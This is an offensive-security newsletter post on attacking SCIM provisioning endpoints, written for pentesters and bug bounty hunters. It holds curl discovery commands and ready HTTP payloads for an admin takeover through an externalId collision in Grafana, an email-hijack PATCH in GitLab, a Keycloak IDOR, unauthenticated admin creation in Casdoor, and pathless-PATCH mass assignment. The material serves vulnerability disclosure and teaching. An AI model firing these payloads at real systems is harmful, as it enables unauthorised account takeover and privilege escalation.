SCIM Exploitation: Hacking the Provisioning Layer

6 min read

May 24, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

SCIM Exploitation: Hacking the Provisioning Layer

Table of contents

Contents

👋 Introduction

Hey everyone!

This week, the identity layer underneath all those MCP tools we just covered.

SCIM (System for Cross-domain Identity Management) powers user provisioning in every major SaaS platform: Okta, GitLab, GitHub Enterprise, Grafana, Salesforce. When your IdP creates, updates, or deprovisions users, it talks SCIM. Most pentesters never touch it. Most bug bounty scopes don’t explicitly list it. That gap keeps producing critical findings.

The headline is a Grafana Enterprise bug that recently went public: a single POST to the SCIM endpoint with "externalId": "1" provisions an account mapped directly to uid 1, the default admin. One authenticated request. Full admin. No exploit chain.

This week: recon methodology, externalId collision, email hijacking via PATCH, unauthenticated endpoints, and group membership escalation.

Let’s get into it 👇

🔍 Recon: Finding the Hidden API

The /ServiceProviderConfig path is intentionally unauthenticated. The RFC designs it as a capability discovery endpoint for IdP clients to use before authenticating, which means it often works without any credentials at all.

# Common SCIM discovery paths
curl -s https://target.com/scim/v2/ServiceProviderConfig
curl -s https://target.com/api/scim/v2/ServiceProviderConfig
curl -s https://target.com/api/v2/scim/ServiceProviderConfig

# Check if /Users is open without auth
curl -s -o /dev/null -w "%{http_code}" https://target.com/scim/v2/Users

# GitHub Enterprise Cloud (requires org owner token)
curl -s "https://api.github.com/scim/v2/organizations/{org}/ServiceProviderConfig" \
  -H "Authorization: Bearer <token>"

A successful /ServiceProviderConfig response reveals supported operations, filter capabilities, bulk support, and pagination limits. It’s a capability fingerprint that tells you exactly what attacks the server supports, before you’ve authenticated.

If /Users returns a 200 with no Authorization header, that’s a critical. Once you confirm the endpoint exists, filter-based enumeration maps the user base. The SCIM filter syntax works exactly like LDAP injection from Issue 30: iterate values, observe differences, infer data. GET /scim/v2/Users?filter=userName eq "admin" returns a user object or an empty result. Boolean blind enumeration, different protocol.

💀 externalId Collision: One POST to Admin

Grafana Enterprise 12.0.0 through 12.2.1 with SCIM provisioning enabled maps the externalId field directly to the internal user.uid. Send "externalId": "1" and the provisioned account links to uid 1, the default admin.

POST /api/scim/v2/Users HTTP/1.1
Authorization: Bearer <scim-provisioning-token>
Content-Type: application/scim+json

{
  "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
  "userName": "[email protected]",
  "externalId": "1",
  "name": {"formatted": "Attacker"},
  "emails": [{"value": "[email protected]", "primary": true}],
  "active": true
}

Requirements: a valid SCIM provisioning token and user_sync_enabled = true in [auth.scim]. A public PoC exists. Fixed in Grafana 12.0.7, 12.1.4, and 12.2.2. Any instance still on earlier versions with SCIM enabled is fully compromised from the provisioning layer.

The externalId pattern appears across platforms wherever SCIM clients provision users with arbitrary IDs and the server stores them as internal identifiers. Test numeric values starting from 1 on every SCIM endpoint you find.

⚡ Email Takeover via SCIM PATCH

GitLab EE shows what happens when SCIM provisioning bypasses normal identity verification. A group owner could invite a target user to their group, then send a SCIM PATCH to replace the target’s email with an attacker-controlled address. GitLab processed the update without requiring confirmation from the victim.

PATCH /api/scim/v2/Users/{victim-uid} HTTP/1.1
Authorization: Bearer <group-scim-token>
Content-Type: application/scim+json

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [{
    "op": "replace",
    "path": "emails[type eq \"work\"].value",
    "value": "[email protected]"
  }]
}

Trigger a password reset to the now-controlled email. Full account takeover with no victim interaction. Affected versions 11.10 through 15.0.0.

Keycloak’s experimental SCIM has an adjacent IDOR: the PUT endpoint ignores the {id} in the URL path and uses the id field from the JSON body. Pass your own user ID in the URL path (passing the authorization check), put the victim’s ID in the body. Keycloak updates the victim’s record. Issue #46658, fixed in 26.6.0.

🔓 Unauthenticated SCIM and Mass Assignment

Casdoor shows what happens when a SCIM library ships without auth by default. The elimity-com/scim Go library implements no authentication by design. Casdoor’s HandleScim() wrapped it with no auth middleware. Anyone on the network could create admin accounts.

POST /scim/Users HTTP/1.1
Host: casdoor.target.com
Content-Type: application/json

{
  "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
  "userName": "attacker",
  "password": "attacker123",
  "roles": [{"value": "admin"}]
}

The mass assignment vector is subtler. RFC 7644 allows PatchOp operations without a path field. Some implementations interpret a pathless replace as “apply the entire value object to the user record,” including write-protected fields like externalId or roles:

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [{
    "op": "replace",
    "value": {"externalId": "1", "roles": ["admin"]}
  }]
}

Doyensec’s SCIM Hunting guide documents this as a live finding from real audits. Test it on every SCIM PATCH endpoint you encounter.

📡 Community Radar

Doyensec: The Danger of Multi-SSO AWS Cognito User Pools

Published May 5, 2026. Not SCIM directly, but it hits the same provisioning layer. Doyensec documents JIT Ghost Identity Injection against Cognito multi-tenant deployments: missing domain validation during federated login lets an attacker persist unauthorized user records. Sub-splitting parser differentials enable privilege escalation when Cognito and downstream services parse the sub claim inconsistently. Doyensec released the maSSO testing tool alongside the post. If you’re testing any Cognito-backed SaaS platform, these are active attack paths.

🎯 Key Takeaways

SCIM is a blind spot on most bug bounty targets and internal pentests. It’s present on every major SaaS platform and almost nobody tests it. Start with /ServiceProviderConfig with no auth header. If it returns a capability manifest, you’ve confirmed SCIM is active and found the full attack surface map before touching any credentials.

The externalId field is the highest-leverage single vector. SCIM clients provision users with arbitrary externalIds, platforms store them as internal UIDs, and numeric collision gives you admin impersonation. Test "externalId": "1" on every SCIM endpoint that accepts user provisioning. Grafana was doing this in production until a few weeks ago.

SCIM email operations bypass normal verification flows because the protocol trusts the provisioning source. The GitLab bug is the canonical example, but the assumption exists in any platform that accepts SCIM email updates without re-verification. Group-level SCIM access often translates to email control over every member of that group, and from there to full account takeover via password reset.

For tooling, Doyensec’s SCIM Hunting guide is the single best reference. The scim.dev playground lets you learn the protocol hands-on. For practice against real implementations, Casdoor and Keycloak both run locally and reproduce these vulnerabilities out of the box.


Practice:


Thanks for reading, and happy hunting!

— Ruben

Other Issues

MCP Security: Poisoning the Tools Your AI Trusts
MCP Security: Poisoning the Tools Your AI Trusts

Previous Issue

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media